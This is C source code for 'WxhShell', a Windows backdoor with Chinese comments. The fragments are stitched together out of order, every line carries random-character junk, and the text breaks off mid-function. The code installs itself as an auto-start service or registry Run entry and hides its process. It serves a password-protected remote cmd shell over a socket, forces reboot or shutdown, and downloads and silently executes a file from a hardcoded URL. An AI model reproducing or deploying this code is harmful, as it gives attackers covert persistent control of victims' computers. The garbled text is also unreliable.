  case 'd': { #prYZcHv:_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .5s58H cg,  
    if(Boot(SHUTDOWN)) oxeu%wj_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AhA&=l i;  
    else { ?0KIM* .  
    closesocket(wsh); 6la'\l#  
    ExitThread(0); V3cKdlu Na  
    } DBaZcO(U  
    break; y>E:]#F  
    } @73kry v  
  // 获取shell }ff^^7_  
  case 's': { >jmHe^rH  
    CmdShell(wsh); J%r:"Jm[y1  
    closesocket(wsh); (2Lmu[  
    ExitThread(0); 3o>JJJ=]  
    break; ^W@8KB  
  } ;P juO  
  // 退出 {j`8XWLZZN  
  case 'x': { L;M@]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s1::\&`za  
    CloseIt(wsh); )i:*r8*~  
    break; O#[bNLV  
    } | Z7 j s"  
  // 离开 *JFkqbf  
  case 'q': { +UX~'t_'v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <+ [N*  
    closesocket(wsh); B?^~1Ua9Zv  
    WSACleanup(); J;wBS w%1  
    exit(1); Q=DMfJ"  
    break; l"`VvW[  
        } _e>N3fT  
  } @VIY=qh  
  } wY%t# [T3  
8pr toCB  
  // 提示信息 ^;s/4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C%E~9_w  
} J| wk})?  
  } FF^h(Ea  
1Vz^?t:  
  return; "PN4{"`V  
} VKYljY0#  
M"p%CbcI]  
// shell模块句柄 Pke8RLg2A  
int CmdShell(SOCKET sock) Y-1K'VhT  
{ FMF  mn|  
STARTUPINFO si; C|IHRw`[  
ZeroMemory(&si,sizeof(si)); "bRjY?D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /\mYXi \  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >iK LC  
PROCESS_INFORMATION ProcessInfo; (Ly^+Hjg  
char cmdline[]="cmd"; n=~!x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <{;'0> ToM  
  return 0; @oH\r-jsgu  
} .XeZjoJ$z  
1oiSmW\  
// 自身启动模式 M,ybj5:6  
int StartFromService(void) hPG@iX|V  
{ )l m7ly8a|  
typedef struct 45[,LJaMd  
{ <Dgf'Gr J  
  DWORD ExitStatus; gq*W 0S  
  DWORD PebBaseAddress; T@P~A)>yo  
  DWORD AffinityMask; )OFN0'  
  DWORD BasePriority; #tsP  
  ULONG UniqueProcessId; w;Fy/XQ  
  ULONG InheritedFromUniqueProcessId; _!,2"dS  
}   PROCESS_BASIC_INFORMATION; [hot,\+f  
<wFmfrx+v  
PROCNTQSIP NtQueryInformationProcess; ONpvx5'#  
3w p@OF_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BKI-Dh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a[j]fv*6  
gn.)_  
  HANDLE             hProcess; 9$9a BW  
  PROCESS_BASIC_INFORMATION pbi; "x;FE<I  
' CJ_&HR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GoX<d{  
  if(NULL == hInst ) return 0; <1lB[:@%U  
37 ?X@@Z=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ho(}_Q&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I H#CaD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *>[ q*SF  
Z<AZO ^  
  if (!NtQueryInformationProcess) return 0; %qeNC\6N  
o2$A2L9P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OKau3T]  
  if(!hProcess) return 0; Y^d#8^cP  
+.^pAz U}R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4 )}>dxv  
l]t^MEoc8  
  CloseHandle(hProcess); l'2vo=IQ  
2{ l|<'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (yuOY/~k/  
if(hProcess==NULL) return 0; |cuKC \  
0d:t=LKw)  
HMODULE hMod; D8E^[w!  
char procName[255]; I(&N2L$-  
unsigned long cbNeeded; * &#M`,#  
Si23w'T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `<T4 En  
doX`NbA  
  CloseHandle(hProcess); C-,#t5eir  
tp!eF"v=  
if(strstr(procName,"services")) return 1; // 以服务启动 Q (gA:aQ  
(NfB+Ue}  
  return 0; // 注册表启动 /?Y4C)G  
} w&es N$2  
k[<i+C";  
// 主模块 = 4|"<8'  
int StartWxhshell(LPSTR lpCmdLine) !P=L0A`  
{ 'ju_l)(R  
  SOCKET wsl; 5oB#{h  
BOOL val=TRUE; +5R8mbD!  
  int port=0; pV:44  
  struct sockaddr_in door; fh1-]$z`~  
DW7Jk"\GH  
  if(wscfg.ws_autoins) Install(); As^eL/m2L  
\YF;/KwX$  
port=atoi(lpCmdLine);  9[YnY~z)  
&io+*  
if(port<=0) port=wscfg.ws_port; (+zU!9}I1  
m`xYd  
  WSADATA data; ;.$vDin6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4wEkxCWp/  
2t?>0)*m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wXdt\@Qr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D]'8BS3  
  door.sin_family = AF_INET; E"/k"1@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZtGk Md$  
  door.sin_port = htons(port); B 'd@ms  
bng/v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /=#~8  
closesocket(wsl); &FZ~n?;hQ  
return 1; ) R5[a O  
} &K=) YpT  
,PKUgL}w  
  if(listen(wsl,2) == INVALID_SOCKET) { O\]{6+$fm!  
closesocket(wsl); &i`(y>\  
return 1; wF6a*b@v  
} # X{lV]Z  
  Wxhshell(wsl); [(8s\>T  
  WSACleanup(); <5FGL96  
CL(D&8v8~  
return 0; ||7x51-yj  
,%V%g!6{  
} Y|/,*,u+  
r`+G9sj3U  
// 以NT服务方式启动 =&.9z 4A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PuBE=9,  
{ I>-1kFma;  
DWORD   status = 0; .ubZ  
  DWORD   specificError = 0xfffffff; pf yJL?_%  
81I9xqvSd~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CA$|3m9)NM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EQHCw<e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3_i29ghv  
  serviceStatus.dwWin32ExitCode     = 0; &wkb r2P  
  serviceStatus.dwServiceSpecificExitCode = 0; k#V\O2lb  
  serviceStatus.dwCheckPoint       = 0; "1DlusmCCB  
  serviceStatus.dwWaitHint       = 0; r=RiuxxTq  
(v}l#M7w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R"F:(  
  if (hServiceStatusHandle==0) return; i{HzY[  
*J4 \KU  
status = GetLastError(); Z{F^qwne  
  if (status!=NO_ERROR) +j8-l-o  
{ :F"NF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cvtn,Ml6  
    serviceStatus.dwCheckPoint       = 0; 7s0y.i~  
    serviceStatus.dwWaitHint       = 0; Y31e1   
    serviceStatus.dwWin32ExitCode     = status; >oAXS\Ts  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q+U" %   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SU~ljAF4  
    return; {G|= pM\'  
  } H:16aaMn(  
.NF3dC\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { "f} }}l  
  serviceStatus.dwCheckPoint       = 0; 1u }2}c|  
  serviceStatus.dwWaitHint       = 0; uXG$YDKqC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sbhUW>%.  
} w(y 9y9r]  
criNeKa  
// 处理NT服务事件,比如:启动、停止 kp)1s>c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ 4PiQyr  
{ q((%sWp  
switch(fdwControl) X:(t,g*7  
{ iE ,"YCK  
case SERVICE_CONTROL_STOP: 2ryg3% +O  
  serviceStatus.dwWin32ExitCode = 0; 9wC='  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )fke;Y0  
  serviceStatus.dwCheckPoint   = 0; j4#S/:Q<7  
  serviceStatus.dwWaitHint     = 0; 9m%+6#|  
  { "1Y DT-I"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); og*ti!Z  
  } >T\^dHtz  
  return; 2aUE<@RU[  
case SERVICE_CONTROL_PAUSE: dA(+02U/.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,LU|WXRB  
  break; k/Ao?R=@gI  
case SERVICE_CONTROL_CONTINUE: Y5mk*Q#q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WBD"d<>'  
  break; >IZ$ .-  
case SERVICE_CONTROL_INTERROGATE: `n`HwDo;i  
  break; ,!^;<UR:  
}; -e+im(2D=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {]7lh#M  
} P@Pe5H"o  
'H1k  
// 标准应用程序主函数 `4qtmbj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A_.}- dzF  
{ e~6>8YO+7j  
S<w? ,Z  
// 获取操作系统版本 |1+ mHp  
OsIsNt=GetOsVer(); U\"FYTC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R\u5!M$::  
Dv=pX.Z+  
  // 从命令行安装 7wbpQ&1_  
  if(strpbrk(lpCmdLine,"iI")) Install(); aSfAu!j)  
Nqbm,s  
  // 下载执行文件 [ofZ1hB4  
if(wscfg.ws_downexe) { bW^{I,b<F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X;dUlSi  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xh*Nu HH  
} [XNDYaF8  
t"&qaG{  
if(!OsIsNt) { _xo;[rEw8  
// 如果时win9x,隐藏进程并且设置为注册表启动 p,mKgL63  
HideProc(); L5]uT`Twa  
StartWxhshell(lpCmdLine); qI2&a$Zb$  
} WG5)-;>q|  
else .DhB4v&  
  if(StartFromService()) 6eK7Jv\K  
  // 以服务方式启动 m P./e8  
  StartServiceCtrlDispatcher(DispatchTable); mk3,ke8  
else 9H cxL  
  // 普通方式启动 :-T[)Q+-3  
  StartWxhshell(lpCmdLine); +,4u1`c|$  
^ `[T0X  
return 0; 42PA?^xPw  
} U ~8, N[  
#sf1,k5'  
TA"gU8YQ  
x\Kt}/97e  
=========================================== U1=\ `)u;  
 |u^~Z-.  
 :LTjV"f  
B5#>ieM*  
Y\9zjewc  
?Pt*4NaT;  
" (ZD~Q_O-  
%/%TR@/  
#include <stdio.h> `_pVwa<@w  
#include <string.h> ]/?$DNjCc  
#include <windows.h> xL!@$;J  
#include <winsock2.h> 7$JE+gL/7  
#include <winsvc.h> {$_Gjv  
#include <urlmon.h> .oe\wJS6  
2<uBC  
#pragma comment (lib, "Ws2_32.lib") EzXi*/  
#pragma comment (lib, "urlmon.lib") "'I |#dKoG  
rCdTn+O2  
#define MAX_USER   100 // 最大客户端连接数 ,y[w`Q\  
#define BUF_SOCK   200 // sock buffer Tl-Ix&37  
#define KEY_BUFF   255 // 输入 buffer qo:t"x^  
7k#0EhN1>  
#define REBOOT     0   // 重启 UH7FIM7kX  
#define SHUTDOWN   1   // 关机 a)rT3gl  
 75T+6 u  
#define DEF_PORT   5000 // 监听端口 :gx]zxK  
>d^DN;p  
#define REG_LEN     16   // 注册表键长度 d PF*G$  
#define SVC_LEN     80   // NT服务名长度 .2*h!d)E  
6'1Lu1w  
// 从dll定义API  ^J& }C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ev1gzHd!i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mS &^xWPV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8} |!p>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l }]"X@&G  
M HKnHPv  
// wxhshell配置信息 f(*iagEy  
struct WSCFG { <-=g)3_  
  int ws_port;         // 监听端口 tjcG^m} _  
  char ws_passstr[REG_LEN]; // 口令 {[r}gS%  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZE6W"pbjU  
  char ws_regname[REG_LEN]; // 注册表键名 g"X!&$ &  
  char ws_svcname[REG_LEN]; // 服务名 O7zj8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?q}:ojrs1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \|C~VU@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {:`XhPS<B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YZ/2 :[b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'F Cmbry  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l +# FoN  
}ykc AK3U  
}; Y?JB%%WWI  
$&. rS.*  
// default Wxhshell configuration c- "#  
struct WSCFG wscfg={DEF_PORT, (6X{ &  
    "xuhuanlingzhe", j.SE'a_  
    1, ~.J{yrJ&  
    "Wxhshell", aoU5pftC  
    "Wxhshell", $%?[f;S3,  
            "WxhShell Service", WTu1t]  
    "Wrsky Windows CmdShell Service", | =tGrHL  
    "Please Input Your Password: ", j%fi*2uX  
  1, m/ngPeZ  
  "http://www.wrsky.com/wxhshell.exe", [yDOv Q[  
  "Wxhshell.exe" 6:`4bo  
    }; (Iv*sd *  
wo\O 0?d3{  
// 消息定义模块 Xrzpn&Y=#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o:lMRP~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2:&QBwr+;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [&:dPd1_  
char *msg_ws_ext="\n\rExit."; c=4z+_K  
char *msg_ws_end="\n\rQuit."; B8?j"AF  
char *msg_ws_boot="\n\rReboot..."; ~f?brQ?  
char *msg_ws_poff="\n\rShutdown..."; dRXrI  
char *msg_ws_down="\n\rSave to "; LCok4N$o  
D #C\| E:  
char *msg_ws_err="\n\rErr!"; c) _u^Dh  
char *msg_ws_ok="\n\rOK!"; 8l>YpS*S^  
/O[ Z  
char ExeFile[MAX_PATH]; rh6 e  
int nUser = 0; X6n8Bi9Ik  
HANDLE handles[MAX_USER]; L#`X;:   
int OsIsNt; ,o [FUi(#@  
dG}*M25  
SERVICE_STATUS       serviceStatus; k~=P0";  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ IlRZ}f  
9oj0X>| 1  
// 函数声明 nSq$,tk(  
int Install(void); *xDV8iu_  
int Uninstall(void); E^x/v_,$w!  
int DownloadFile(char *sURL, SOCKET wsh); e}2[g  
int Boot(int flag); 8D`TN8[W  
void HideProc(void); LN=#&7=$c  
int GetOsVer(void); a!;CY1>  
int Wxhshell(SOCKET wsl); ez[$;>  
void TalkWithClient(void *cs); mN'sJ1L-  
int CmdShell(SOCKET sock); zz-X5PFn  
int StartFromService(void); 8n/[oDc]  
int StartWxhshell(LPSTR lpCmdLine); Nd**":i$  
=Kt!+^\")  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;tfGhHpQn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Zfg]L{Lr  
6\6g-1B`  
// 数据结构和表定义 DU:+D}v l  
SERVICE_TABLE_ENTRY DispatchTable[] = #QiNSS  
{ %m "9 =C  
{wscfg.ws_svcname, NTServiceMain}, E4xybVo@  
{NULL, NULL} kvam`8SeL  
}; /1?{,Das=  
`k3sl 0z%  
// 自我安装 BqDOo(%1)  
int Install(void) Hh &s.ja  
{ L^L.;1  
  char svExeFile[MAX_PATH]; M&0U@ r-  
  HKEY key; [m9=e-KS$Q  
  strcpy(svExeFile,ExeFile); 4&H&zST//m  
|i- S}M  
// 如果是win9x系统,修改注册表设为自启动 $%5vJiuk  
if(!OsIsNt) { G:Nwi=vN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ._`?ZJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]v0=jm5A  
  RegCloseKey(key); 3OJGBiDAr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1b8}TG2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 10m`LG  
  RegCloseKey(key); &}FWpo!  
  return 0; dSbz$Fct  
    } sUpSXG-W/@  
  } 6x@4gP y[  
} ~oeX0l>F  
else { 6tup^Rlo;$  
n/+G^:~_  
// 如果是NT以上系统,安装为系统服务 ]9hhAT44  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /rv=ml pRL  
if (schSCManager!=0) >S:+&VN`M  
{ TR!7@Mu 3  
  SC_HANDLE schService = CreateService v8K4u)  
  ( X9#i!_*  
  schSCManager, $K_-I8e|  
  wscfg.ws_svcname, I<hMS6$<LE  
  wscfg.ws_svcdisp, 7:wf!\@ I  
  SERVICE_ALL_ACCESS, 3s_$.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gr4JaV  
  SERVICE_AUTO_START, nT@FS t  
  SERVICE_ERROR_NORMAL, I6[=tB  
  svExeFile, EK zYL#(i  
  NULL, i [6oqZ  
  NULL, .'S_9le  
  NULL, )h/Qxf  
  NULL, LO)p2[5#R  
  NULL DC*6=m_  
  ); Lg+cHaA  
  if (schService!=0) >!#or- C  
  { me@EKspX  
  CloseServiceHandle(schService); ]wV_xZ)l^A  
  CloseServiceHandle(schSCManager); pY(S]i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9HD5A$  
  strcat(svExeFile,wscfg.ws_svcname); #;<dtw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M/jdMfU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 42wZy|oqp  
  RegCloseKey(key); H2E'i\  
  return 0; -<^3!C >  
    } '#CYw=S+  
  } PfJfa/#pA  
  CloseServiceHandle(schSCManager); TU?$yNE  
} {-L}YX"Bh  
} ~0 Mw\p%}  
_&PF(/w  
return 1; _cQhT  
} BXLw  
jW]Fx:mQi  
// 自我卸载 P.O/ZW>g  
int Uninstall(void) 0]l9x}  
{ BDPF>lPf<  
  HKEY key; vPx#TXY=b}  
;f2<vp;U  
if(!OsIsNt) { CV *  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H:X(><J  
  RegDeleteValue(key,wscfg.ws_regname); e)]DFP[ n  
  RegCloseKey(key); /UiB1-*b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iI!g1  
  RegDeleteValue(key,wscfg.ws_regname); YG>6;g)Zm  
  RegCloseKey(key); 0<]]q[pr  
  return 0; fl<j]{*v  
  } #\MkbZc d  
} IdciGS6 t  
} >~@ABLp 6  
else { +<f!#4T  
avxI%%|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QykHB k  
if (schSCManager!=0) pcPRkYT[ M  
{ Is }?:ET  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RH&}'4JE:  
  if (schService!=0) BmCBC,j<v>  
  { (:|1h@K/R  
  if(DeleteService(schService)!=0) { "oT]_WHqo  
  CloseServiceHandle(schService); lsB.>NlU  
  CloseServiceHandle(schSCManager); PF: E{_~  
  return 0; :6}cczQE|O  
  } ^tl&FWF  
  CloseServiceHandle(schService); Sigu p#.p  
  } .jRv8x b  
  CloseServiceHandle(schSCManager); *+<H4.W H  
} GlaZZ,   
} #oEq)Vq>g|  
(eO_]<wmky  
return 1; q4ej7T8  
} Owm2/  
+c\uBrlZQ;  
// 从指定url下载文件 YPS,[F'B.  
int DownloadFile(char *sURL, SOCKET wsh) 8YkCTJfBGu  
{ i-Ri;E  
  HRESULT hr; _O"C`]]  
char seps[]= "/"; t++\&!F  
char *token; [ jgC`  
char *file; v QDkZ  
char myURL[MAX_PATH]; u 9%AK g}~  
char myFILE[MAX_PATH]; &Ef6'  
|~YhN'OJ  
strcpy(myURL,sURL); 6G>bZ+  
  token=strtok(myURL,seps); Tg6nb7@P  
  while(token!=NULL) zjwo"6c>  
  { vz'<i. Yv4  
    file=token; L'}^Av_+  
  token=strtok(NULL,seps); mW @Z1Plxs  
  } rcG-V f@  
[300F=R  
GetCurrentDirectory(MAX_PATH,myFILE); 9XW[NY#)#  
strcat(myFILE, "\\"); 2Jn?'76`  
strcat(myFILE, file); f'B#h;`  
  send(wsh,myFILE,strlen(myFILE),0); K yp(dp>  
send(wsh,"...",3,0); {;?bC'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v{TISgZ  
  if(hr==S_OK) o@:u:n+.  
return 0; RUlJP  
else f`_6X~ p  
return 1; }#9 |au`  
`pYL/[5  
} 3Tr}t.mt  
,:"c"   
// 系统电源模块 KPs @v@5M  
int Boot(int flag) )\,hc$<=m  
{ d,%@*v]S  
  HANDLE hToken; cUM#|K#6  
  TOKEN_PRIVILEGES tkp; Fj0h-7L  
}}~ t! /x  
  if(OsIsNt) { z;[Z'_B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3|.KEJC"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SLI358]$<  
    tkp.PrivilegeCount = 1; iVb#X#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wq`\p['Q,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p?eQN Y  
if(flag==REBOOT) { HZzdelo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d)jX%Z$LC  
  return 0; o$bD?Zn  
} dG'5: ,n/  
else { C$fQ[@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qAR}D~t  
  return 0; J`{HMv  
} /A/k13 J  
  } Q OP8{~O  
  else { Se&%Dr3Nv  
if(flag==REBOOT) { AC/82$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2[$` ]{U  
  return 0; <t4l5nr#  
} T1pMe{  
else { }8&L?B;90  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O8S"B6?$~'  
  return 0; j8#B  
} >l|dLyiae  
} YfOO]{x,X  
O{`r.H1',  
return 1; CF+:9PG  
} {"w4+m~+te  
.6#Y- iJqc  
// win9x进程隐藏模块 'aW<C>  
void HideProc(void) p3(&9~ s  
{ }9ZcO\M  
5T;,wQ<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cE0Kvqe`  
  if ( hKernel != NULL ) Ok2>%e  
  { sy.U] QG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NX4}o&mDwn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9b*1-1"  
    FreeLibrary(hKernel); aj*%$!SU+  
  } zMQ|j_ l9E  
Qr l>A*  
return; rnC u=n  
} /4n:!6rt  
DV!) n 6  
// 获取操作系统版本 d ;W(Vm6  
int GetOsVer(void) j(maj  
{ u6(>?r-  
  OSVERSIONINFO winfo; &MsBcP[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SZQ4e  
  GetVersionEx(&winfo); 1p9+c~4l:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }];_ug* "  
  return 1; ^04|tda  
  else RW. >;|m  
  return 0; /K]<7  
} oZ(T`5  
U 4@W{P02  
// 客户端句柄模块 'F@#.Op`  
int Wxhshell(SOCKET wsl) ]1<O [d  
{ >HXmpu.O  
  SOCKET wsh; +k4 SN  
  struct sockaddr_in client; h&6v&%S/L  
  DWORD myID; *m[ow s  
<C9_5C e~  
  while(nUser<MAX_USER) =K2mR}n\;  
{ D*R49hja{  
  int nSize=sizeof(client); tgbr/eCoU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]h$,=Qf hD  
  if(wsh==INVALID_SOCKET) return 1; q"[8u ]j  
U3yIONlt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uR7\uvibUO  
if(handles[nUser]==0) :9`T.V<?  
  closesocket(wsh); =pP0d vn  
else L4'FL?~I  
  nUser++; V5{^R+_)Ya  
  } 8Dq;QH}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0FV?By  
LGm>x  
  return 0; -a[] #v9  
} v*7lJNN.  
?Q)z5i'g#  
// 关闭 socket eY1$s mh t  
void CloseIt(SOCKET wsh) HwH Wi  
{ 93npzpge  
closesocket(wsh); ?>W4*8 (  
nUser--; 6Q. _zk  
ExitThread(0); # N.(ZP  
} iPxhDn<B  
3S'juHT e  
// 客户端请求句柄 bVc;XZwI  
void TalkWithClient(void *cs) |&t 2jD(  
{ ui:  
\&p MF  
  SOCKET wsh=(SOCKET)cs; oiq7I@Y`x  
  char pwd[SVC_LEN]; x_oL~~@  
  char cmd[KEY_BUFF]; t4H@ZvAH0  
char chr[1]; |QvG;{!  
int i,j; {zc<:^r^  
e:Zc-  
  while (nUser < MAX_USER) { 0pS|t/h0  
]r{-K63P{!  
if(wscfg.ws_passstr) { <z*SO a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DVNGV   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;y7V-sf  
  //ZeroMemory(pwd,KEY_BUFF); _Z|s!~wdz  
      i=0; PL#8~e;'  
  while(i<SVC_LEN) { \1[I(u  
Xp=Y<`dX  
  // 设置超时 b g'B^E3  
  fd_set FdRead; yVyh'd:Ik  
  struct timeval TimeOut; uLsGb=m%b  
  FD_ZERO(&FdRead); `A)9   
  FD_SET(wsh,&FdRead); IwIk;pB O  
  TimeOut.tv_sec=8; bqXCe\#  
  TimeOut.tv_usec=0; AFWcTz6#d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lGI5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6s833Tmb&r  
7R mL#f`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); av(d0E}}b  
  pwd=chr[0]; D@yg)$;z  
  if(chr[0]==0xd || chr[0]==0xa) { Vs~^r>  
  pwd=0; eiJO;%fl>l  
  break; U-ILzK  
  } Oph4&Ip[w  
  i++; 6EhRCl  
    } Ek+L"7  
-~A7o3k35  
  // 如果是非法用户,关闭 socket ~EIY(^|py  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &X +Qi  
} pCz;km  
"msCiqF{z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tw{H+B"uVz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,#1ke  
WYQJ +z5  
while(1) { {_1^ GIIS  
}ZEh^zdz8  
  ZeroMemory(cmd,KEY_BUFF); q!k  F  
AF1";duA  
      // 自动支持客户端 telnet标准   <R7* 00  
  j=0; `)F lb|da  
  while(j<KEY_BUFF) { eB78z@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >eg&i(C+  
  cmd[j]=chr[0]; sQ/7Mc  
  if(chr[0]==0xa || chr[0]==0xd) { z= -u89]  
  cmd[j]=0; mf'N4y%  
  break; t@1e9uR  
  } BciwS_Qx  
  j++; x\XgQQ]-  
    } :<=!v5 SK  
0K'lr;  
  // 下载文件 <JHU*Z  
  if(strstr(cmd,"http://")) { V; 1r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rm>;B *;  
  if(DownloadFile(cmd,wsh)) v#.FK:u}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$x/(!UE  
  else .Lo$uKsW$l  
